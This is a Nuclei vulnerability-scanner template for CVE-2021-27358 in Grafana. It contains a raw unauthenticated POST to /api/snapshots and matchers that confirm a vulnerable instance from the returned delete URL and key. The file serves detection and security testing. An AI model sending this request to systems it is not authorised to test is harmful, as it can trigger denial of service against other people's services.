nuclei-templates/cves/2021/CVE-2021-27358.yaml

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id: CVE-2021-27358
info:
author: pdteam
name: Grafana unauthenticated snapshot creation
severity: high
description: The snapshot feature in Grafana 6.7.3 through 7.4.1 can allow an unauthenticated remote attackers to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
reference:
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- https://phabricator.wikimedia.org/T274736
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
- https://nvd.nist.gov/vuln/detail/CVE-2021-27358
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tags: cve,cve2021,grafana,unauth
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.50
cve-id: CVE-2021-27358
requests:
- raw:
- |
POST /api/snapshots HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Content-Type: application/json
{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
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matchers-condition: and
matchers:
- part: body
type: word
words:
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- '"deleteUrl":'
- '"deleteKey":'
condition: and
- type: word
part: header
words:
- "application/json"